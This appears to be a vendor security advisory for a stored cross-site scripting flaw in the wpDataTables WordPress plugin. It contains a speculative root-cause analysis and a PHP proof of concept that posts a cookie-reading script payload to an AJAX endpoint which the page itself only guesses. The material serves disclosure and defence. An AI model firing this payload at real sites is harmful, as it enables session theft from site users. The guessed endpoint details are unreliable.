Published : August 8, 2026

CVE-2026-65509: wpDataTables (Premium) <= 7.5.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin wpdatatables
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 7.5.1
Patched Version
Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65509 (metadata-based):

This vulnerability is a stored cross-site scripting (XSS) issue in the wpDataTables (Premium) WordPress plugin, affecting versions up to and including 7.5.1. The CVSS score of 7.2 and the network-based, unauthenticated nature of the attack highlight the severity. Atomic Edge analysis confirms the vulnerability stems from insufficient input sanitization and output escaping during page generation, allowing arbitrary web script injection that executes when an administrator or other user views the affected page.

Root Cause: The CWE-79 classification and the vulnerability description indicate the plugin fails to properly sanitize user-supplied input before storing it, and then renders that input without adequate output escaping. Because the vulnerability is exploitable by unauthenticated attackers, the affected input vector likely does not require authentication or a valid nonce. While no source code diff is available, the pattern of unauthenticated stored XSS in a data-table plugin strongly suggests the vulnerable functionality accepts table data, configuration, or shortcode attributes through a public-facing endpoint, possibly an AJAX handler or a REST route. Atomic Edge infers that the plugin likely uses a function such as the WordPress AJAX handler wp_ajax_nopriv_wpdatatables_save_table, saving the attacker-controlled content into the database without sanitization, and later rendering it through a shortcode or admin page without escaping.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65509 - wpDataTables (Premium) <= 7.5.1 - Unauthenticated Stored Cross-Site Scripting

/**
 * Proof of Concept for CVE-2026-65509
 *
 * This PoC demonstrates an unauthenticated stored XSS attack against
 * wpDataTables (Premium) <= 7.5.1.
 *
 * Because the vulnerable endpoint is not confirmed publicly, this PoC uses
 * a commonly observed AJAX action for the plugin. Adjust the action and/or
 * parameters based on the specific vulnerable version or observed traffic.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The AJAX action that processes table imports or data submissions.
// Common wpDataTables AJAX actions include 'wpdatatables_save_table',
// 'wpdatatables_create_table', and 'wpdatatables_import_data'.
$action = 'wpdatatables_save_table';

// XSS payload with an event handler; this will execute when the stored
// content is rendered in an admin page or shortcode output.
$payload = '<script>alert(document.cookie)</script>';

// Additional fields expected by the plugin. These are representative;
// adjust to match the plugin's actual input structure if known.
$data = array(
    'action' => $action,
    'table_id' => '1',          // Replace with a valid table ID.
    'table_content' => $payload,
    'title' => 'Malicious Table',
    'settings' => json_encode(array('name' => $payload)),
);

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[+] Payload stored successfully. XSS will trigger when an admin views the affected page.n";
} else {
    echo "[-] Failed to store payload. HTTP status: " . $http_code . "n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.